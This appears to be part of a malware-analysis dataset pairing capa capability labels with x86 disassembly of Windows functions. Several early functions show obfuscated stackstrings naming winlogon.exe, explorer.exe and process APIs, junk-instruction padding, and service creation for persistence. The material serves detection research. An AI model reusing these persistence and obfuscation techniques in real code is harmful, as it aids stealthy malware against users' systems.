joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40779d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov cx, word [eax + 0x14]
mov edx, dword [ebp - 0x10]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x4077e3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, 0x28
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 4], ecx
jge 0x407814
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
cmp eax, dword [ebp + 0xc]
ja 0x407812
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 8]
add edx, dword [eax + 8]
cmp dword [ebp + 0xc], edx
jae 0x407812
mov eax, dword [ebp - 8]
jmp 0x407816
jmp 0x4077d1
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408cda
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d1d0
push 0x408e12
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x4116d8], 0xffffffff
or dword [0x4116dc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x411634]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x411630]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4116d4], eax
call fcn.00408e11
cmp dword [0x411290], 0
jne 0x408d5d
push 0x408e0e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00408dfc
push 0x41100c
push 0x411008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x41162c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x411628]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x411004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call section..text
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x40147e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x168
mov eax, 0x441517
call fcn.0040350c
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
xor ebx, ebx
mov dword [ebp - 0x174], ecx
test ecx, ecx
mov dword [ebp - 0x168], ebx
lea edi, [ebp - 0x34]
mov dword [ebp - 4], ebx
mov eax, ebx
mov dword [ebp - 0x15c], 0x128
cmove edx, edi
mov dword [ebp - 0x160], eax
mov esi, ebx
mov dword [ebp - 0x24], 0x6c6e6977
mov dword [ebp - 0x20], 0x6e6f676f
mov ecx, ebx
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x34], 0x6c707865
mov dword [ebp - 0x30], 0x7265726f
mov dword [ebp - 0x2c], 0x6578652e
mov byte [ebp - 0x28], bl
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], ebx
cmp ecx, 0x12c
jge 0x401604
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x15c]
push eax
push esi
mov dword [ebp - 0x164], esi
call fcn.00401afe
pop ecx
pop ecx
test eax, eax
je 0x401606
push esi
mov esi, 0x6776089b
add esi, edx
sbb esi, eax
sbb esi, esi
add esi, esp
sbb esi, edx
pop esi
mov esi, dword [ebp - 0x164]
push dword [ebp - 0x170]
lea eax, [ebp - 0x138]
push eax
call fcn.0040d610
pop ecx
pop ecx
test eax, eax
jne 0x4015a5
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x154]
call dword [0x456628]
test eax, eax
je 0x4015a5
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x168], eax
jne 0x4015a5
push edx
xor edx, eax
sbb edx, esi
mov edx, 0xe8cdb49d
and edx, ebx
or edx, ebp
pop edx
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x4015bc
lea eax, [ebp - 0x15c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401548
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x174], 0
jne 0x401604
test eax, eax
jne 0x401604
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.004024f1
mov eax, dword [ebp - 0x160]
pop ecx
mov ecx, dword [ebp - 0x16c]
inc ecx
xor ebx, ebx
mov dword [ebp - 0x16c], ecx
jmp 0x4014fe
mov ebx, eax
push esi
call fcn.004024f1
pop ecx
mov eax, ebx
call fcn.00403459
ret
Function at 0x40178c
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x400
lea eax, [ebp - 0x40c]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.00404960
add esp, 0xc
lea eax, [ebp - 0x40c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffa
jge 0x4017ee
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
call fcn.004028b3
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x410], eax
push eax
sbb eax, esi
sbb eax, eax
add eax, edx
sbb eax, esp
sbb eax, esi
add eax, eax
sbb eax, edx
nop
pop eax
cmp dword [ebp - 0x410], 0
je 0x4018e3
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4018f4
mov dword [ebp - 0xc], 0x65736142
mov byte [ebp - 8], 0
push eax
xor eax, edx
xor eax, eax
sbb eax, esi
and eax, ebp
pop eax
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x40c]
push eax
push ecx
push 2
push 0x10
push 0xf01ff
push 0x4566a8
push 0x456668
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x414], eax
push eax
mov eax, 0x1482f265
and eax, edi
sub eax, ebp
pop eax
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x4018ad
push 0
push 0
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.0040295f
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x414], 0
je 0x4018e3
push ecx
mov ecx, 0xd446b92f
sbb ecx, esp
nop
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
jmp 0x4018e5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
call fcn.00402861
int3

Function at 0x401a71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x6e72654b
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x636f7250
mov dword [ebp - 8], 0x737365
push esi
xor esi, edx
xor esi, esi
sbb esi, edx
mov esi, 0xd63493f4
sbb esi, eax
add esi, eax
pop esi
lea eax, [ebp - 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
Function at 0x401afe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x28], eax
push edi
mov edi, 0xdb185696
sub edi, ecx
and edi, ecx
pop edi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x14], 0x6e72654b
mov dword [ebp - 0x10], 0x32336c65
push dword [ebp - 0x28]
mov dword [ebp - 0xc], 0x6c6c642e
push dword [ebp - 0x2c]
mov byte [ebp - 8], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0x636f7250
push eax
mov dword [ebp - 0x20], 0x33737365
mov dword [ebp - 0x1c], 0x72694632
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret

Function at 0x401c14
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x2c], eax
push esi
mov esi, 0x8fa9c5e3
mov esi, 0x2b3b4d61
pop esi
movaps xmm0, xmmword [0x442290]
lea eax, [ebp - 0x28]
mov dword [ebp - 0x14], 0x61737477
push dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x32336970
push dword [ebp + 8]
mov dword [ebp - 0xc], 0x6c6c642e
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 8], 0
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x6e
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
Function at 0x401c89
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0x61766441
mov dword [ebp - 0x20], 0x32336970
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebx], eax
push esi
mov esi, 0x7bb97a3d
sbb esi, eax
sbb esi, esi
add esi, esp
sbb esi, edx
pop esi
mov eax, dword [ebp - 0x28]
xor ebx, ebx
cmp dword [eax], ebx
je 0x401d66
call fcn.0040d6f2
push 5
test eax, eax
pop ecx
cmovs eax, ecx
cmp eax, 0xffffffcb
jge 0x401d10
call fcn.004028b3
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6e65704f
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 0x76726553
push eax
mov dword [ebp - 0xc], 0x41656369
mov byte [ebp - 8], bl
call fcn.00401a02
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
push ebp
add ebp, edx
sbb ebp, esi
sbb ebp, edx
mov ebp, 0x2c1e1208
add ebp, esp
nop
pop ebp
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x401d66
mov eax, dword [ebp - 0x28]
push 0xf01ff
push 0x456668
push dword [eax]
call ecx
test eax, eax
jne 0x401d68
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret

Function at 0x402442
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.0040d6f2
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x40246a
call fcn.004028b3
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push ebp
mov ebp, 0x4d6d8fb3
sbb ebp, esp
xor ebp, eax
xor ebp, esp
pop ebp
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.00401c89
mov dword [ebp - 8], eax
pop ecx
test eax, eax
je 0x4024d7
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc], eax
push ebx
mov ebx, 0x2de0964e
xor ebx, edx
add ebx, esi
add ebx, edx
and ebx, edi
nop
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4024dc
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
call fcn.004028b3
call fcn.00402861
int3
Function at 0x402509
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
cmp dword [ebx], 0
je 0x402543
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xffffffdd
jge 0x40253b
push dword [ebx]
call fcn.0040ff6a
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [ebx]
call fcn.0040f317
pop ecx
push edx
xor edx, esi
add edx, esi
mov edx, 0xceb8a492
pop edx
mov ecx, dword [ebp + 8]
xor eax, eax
pop edi
pop esi
and dword [ecx], 0
inc eax
pop ebx
pop ebp
ret

Function at 0x402972
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, 0x44c9e0
push edi
mov dword [ebp - 4], ebx
call fcn.0040d6f2
mov dword [ebx], eax
push edx
mov edx, 0x10f4dbc4
and edx, ebp
xor edx, eax
pop edx
mov ebx, dword [ebp - 4]
add ebx, 4
mov dword [ebp - 4], ebx
cmp ebx, 0x456620
jl 0x402981
xor edx, edx
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029a8
xor edi, edi
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029b4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.004028b3
push edx
mov edx, 0xb1f3387e
or edx, ebp
nop
pop edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401651
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4016a7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4016a7
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x401699
cmp esi, ecx
jae 0x4016a7
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x401687
cmp esi, ecx
jae 0x4016a7
cmp word [esi], 0
je 0x4016a7
mov eax, esi
jmp 0x4016a9
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401f1d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 4], edx
mov edi, 0x80070003
call fcn.00401849
lea ecx, [ebp - 0xc]
call fcn.004024f6
mov esi, dword [ebp - 0xc]
test eax, eax
je 0x40203e
and dword [ebp - 0x18], 0
or edx, 0xf003f
push ecx
push ecx
push edx
push ecx
push ecx
push esi
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x42b570
mov dword [ebp - 0x14], 0x200
call fcn.00401e05
mov edi, eax
test edi, edi
jne 0x40202f
mov eax, dword [ebp + 8]
sub eax, 1
je 0x402011
sub eax, 1
je 0x40200d
sub eax, 1
je 0x401ffe
sub eax, 1
je 0x401fef
sub eax, 3
je 0x401fdc
sub eax, 4
je 0x401faa
mov edi, 0x8007065d
jmp 0x402021
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 8
push eax
push 0xb
push 0
push dword [ebp - 4]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test edi, edi
jle 0x402021
movzx edi, di
or edi, 0x80070000
jmp 0x402021
push 7
push dword [ebp + 0x10]
lea ecx, [ebp - 0x1c]
push ebx
push dword [ebp - 4]
call fcn.00402454
jmp 0x40201f
push dword [ebx]
lea ecx, [ebp - 0x1c]
push dword [ebp - 4]
call fcn.004023ef
jmp 0x40201f
mov eax, ebx
neg eax
sbb eax, eax
and eax, dword [ebp + 0x10]
push eax
push ebx
push 3
jmp 0x401fbd
push 2
jmp 0x402013
push 1
push ebx
push dword [ebp - 4]
lea ecx, [ebp - 0x1c]
call fcn.00402418
mov edi, eax
lea ecx, [ebp - 0x1c]
call fcn.00401dd9
test edi, edi
jne 0x40202f
mov edi, eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x42b570
call fcn.00401dd9
lea ecx, [esi - 0x10]
call fcn.00401251
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402250
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 4]
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push dword [edi + 4]
mov dword [ebp - 8], ecx
call dword [sym.imp.SHLWAPI.dll_SHQueryValueExW]
mov esi, eax
test esi, esi
jle 0x402288
movzx esi, si
or esi, 0x80070000
test esi, esi
jne 0x4022ea
mov eax, dword [ebp - 4]
xor ecx, ecx
shr eax, 1
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041c3a5
pop ecx
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
test ecx, ecx
je 0x4022e5
cmp dword [ebp - 4], 0
je 0x4022de
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.SHLWAPI.dll_SHQueryValueExW]
mov esi, eax
test esi, esi
jle 0x4022ea
movzx esi, si
or esi, 0x80070000
jmp 0x4022ea
xor eax, eax
mov word [ecx], ax
jmp 0x4022ea
mov esi, 0x8007000e
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x402ead
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x402ee3
lea esi, [edi + 4]
test esi, esi
je 0x402ee3
call fcn.00402e0f
test al, al
je 0x402ee3
mov ecx, edi
call fcn.00402e0f
test al, al
je 0x402ee3
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x402ee5
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x404933
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
push edi
lea ecx, [ebp - 0x24]
mov ebx, edx
call fcn.00403acf
push 0x40
xor esi, esi
mov dword [ebp - 0x6c], 0x44
lea eax, [ebp - 0x68]
push esi
push eax
call fcn.0040b2b0
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x6c]
add esp, 0xc
mov dword [ebp - 0x40], 0x80
push edi
push eax
push esi
cmp dword [ebp + 8], esi
jne 0x404977
push esi
push esi
jmp 0x40497f
push dword [ebp + 8]
push 0x400
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x404997
call fcn.00407610
mov esi, eax
jmp 0x4049d8
movzx ecx, byte [0x431eb9]
neg ecx
sbb ecx, ecx
and ecx, 0x431de0
je 0x4049d8
xor eax, eax
mov dword [ebp - 0x14], ecx
inc eax
mov dword [ebp - 0x10], 7
push eax
push ecx
mov dword [ebp - 0xc], eax
call fcn.00405c41
push dword [edi + 8]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push str._Started_process___u_
push eax
call fcn.00403ab0
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.00403b25
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x404b8b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea esi, [ecx + 4]
push esi
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
jne 0x404bcc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
jne 0x404bcc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
jb 0x404ba7
xor al, al
jmp 0x404bce
mov al, 1
pop esi
leave
ret 4

Function at 0x404c25
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x430008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
mov ebx, ecx
push edi
mov ecx, esi
call fcn.004018a4
push 0x208
xor edi, edi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040b2b0
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push edi
push edi
push ebx
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test edi, edi
jns 0x404cbf
movzx ecx, bl
cmp ecx, 0x26
jne 0x404c83
mov edx, 0x42b7a8
jmp 0x404c8d
cmp ecx, 0x1c
jne 0x404cae
mov edx, str.LocalAppData
lea ecx, [ebp - 0x210]
call fcn.00404be0
push eax
mov ecx, esi
call fcn.004017fb
mov ecx, dword [ebp - 0x210]
lea ecx, [ecx - 0x10]
call fcn.00401251
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
je 0x404cbb
xor eax, eax
inc eax
jmp 0x404cdd
mov eax, edi
jmp 0x404cdd
lea eax, [ebp - 0x20c]
push eax
call fcn.004148ad
pop ecx
push eax
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.00401a2c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a723
leave
ret

Function at 0x40510d
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x430008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
jne 0x405128
mov al, 1
jmp 0x40516b
push 0x34
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.0040b2b0
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x405163
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x42b850
call fcn.004077ed
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x405124
mov eax, dword [ebp - 0x38]
shr eax, 0xa
and al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040a723
leave
ret
Function at 0x405178
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SoftwareGoogleUpdateDev_
push 0x80000002
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4051a6
xor al, al
jmp 0x4051ee
push esi
push edi
push 4
pop edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push ebx
push str.IsEnabledLogToFile
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4051ea
cmp dword [ebp - 8], edi
jne 0x4051ea
cmp dword [ebp - 0xc], ebx
je 0x4051ea
mov bl, 1
pop edi
mov al, bl
pop esi
pop ebx
leave
ret

Function at 0x405546
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00405178
mov byte [ebx + 0x77], al
mov ecx, ebx
lea eax, [ebp - 4]
push eax
call fcn.004060bc
mov edi, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x14], edi
cmp dword [edi - 0xc], 0
je 0x4055d1
push edi
push 1
push str.EnableLogging
push str.LoggingSettings
call esi
push edi
push 1
test eax, eax
push str.ShowTime
setne al
push str.LoggingSettings
mov byte [ebx + 0x74], al
call esi
push edi
push 0
test eax, eax
push str.LogToOutputDebug
setne al
push str.LoggingSettings
mov byte [ebx + 0x76], al
call esi
push edi
push 1
test eax, eax
push str.AppendToFile
setne al
push str.LoggingSettings
mov byte [ebx + 0x78], al
call esi
test eax, eax
setne al
jmp 0x4055df
mov byte [ebx + 0x74], 1
mov al, 1
mov byte [ebx + 0x76], 1
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x79], al
cmp byte [ebx + 0x75], 0
je 0x4055ec
mov byte [ebx + 0x76], 1
xor eax, eax
mov byte [ebx], 1
mov dword [ebx + 4], 7
mov edi, esi
mov dword [ebp - 4], eax
mov ecx, dword [eax + 0x430aa0]
mov dword [ebp - 0xc], ecx
test ecx, ecx
je 0x405658
mov ecx, dword [eax + 0x430aa4]
mov dword [ebp - 0x10], ecx
cmp ecx, 9
ja 0x405658
lea eax, [ebp - 8]
mov ecx, ebx
push eax
call fcn.004060bc
mov esi, dword [ebp - 8]
cmp dword [esi - 0xc], 0
je 0x40563b
push esi
push 1
push dword [ebp - 0xc]
push str.LoggingLevel
call edi
jmp 0x40563e
xor eax, eax
inc eax
mov edx, dword [ebp - 0x10]
test eax, eax
setne cl
mov byte [ebx + edx*8], cl
lea ecx, [esi - 0x10]
mov dword [ebx + edx*8 + 4], eax
call fcn.00401251
mov eax, dword [ebp - 4]
add eax, 8
mov dword [ebp - 4], eax
cmp eax, 0x48
jb 0x4055fd
call fcn.004017b6
mov ecx, dword [ebp - 0x14]
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x84], edx
lea ecx, [ecx - 0x10]
call fcn.00401251
pop edi
pop esi
pop ebx
leave
ret